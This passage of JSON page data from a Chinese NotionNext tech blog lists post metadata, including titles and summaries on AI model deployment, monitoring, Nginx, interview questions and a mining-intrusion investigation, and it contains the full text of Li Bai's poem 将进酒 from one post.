dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf":{"value":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","version":239,"type":"page","content":["f27a10ff-b47d-42c8-9ee0-fa746a4d33ad","53ad423b-75f6-4585-9139-ffab1180f2e0","a1bbce14-f046-495a-8d32-5fb357639122","12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f"],"format":{"page_font":"serif","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9d36e2f8-7b91-4160-9786-0a0bd635e859","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1712374304998,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9d36e2f8-7b91-4160-9786-0a0bd635e859","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"f27a10ff-b47d-42c8-9ee0-fa746a4d33ad":{"value":{"id":"f27a10ff-b47d-42c8-9ee0-fa746a4d33ad","type":"divider","created_time":1712374316729,"last_edited_time":1712374316741,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true}},"53ad423b-75f6-4585-9139-ffab1180f2e0":{"value":{"id":"53ad423b-75f6-4585-9139-ffab1180f2e0","type":"text","properties":{"title":[["李白〔唐代〕"]]},"format":{"copied_from_pointer":{"id":"8b602d31-20c9-409f-8fb8-c98f5836c1e7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337134,"last_edited_time":1705630515910,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"8b602d31-20c9-409f-8fb8-c98f5836c1e7"}},"a1bbce14-f046-495a-8d32-5fb357639122":{"value":{"id":"a1bbce14-f046-495a-8d32-5fb357639122","type":"text","properties":{"title":[["君不见黄河之水天上来,奔流到海不复回。\n君不见高堂明镜悲白发,朝如青丝暮成雪。\n人生得意须尽欢,莫使金樽空对月。\n天生我材必有用,千金散尽还复来。\n烹羊宰牛且为乐,会须一饮三百杯。\n岑夫子,丹丘生,将进酒,杯莫停。\n与君歌一曲,请君为我倾耳听。\n钟鼓馔玉不足贵,但愿长醉不愿醒。\n古来圣贤皆寂寞,惟有饮者留其名。\n陈王昔时宴平乐,斗酒十千恣欢谑。\n主人何为言少钱,径须沽取对君酌。\n五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。"]]},"format":{"copied_from_pointer":{"id":"e48a3c2b-90fa-4a2e-a352-04d028c9752a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"e48a3c2b-90fa-4a2e-a352-04d028c9752a"}},"12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f":{"value":{"id":"12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f","type":"text","created_time":1705630517913,"last_edited_time":1705630517915,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e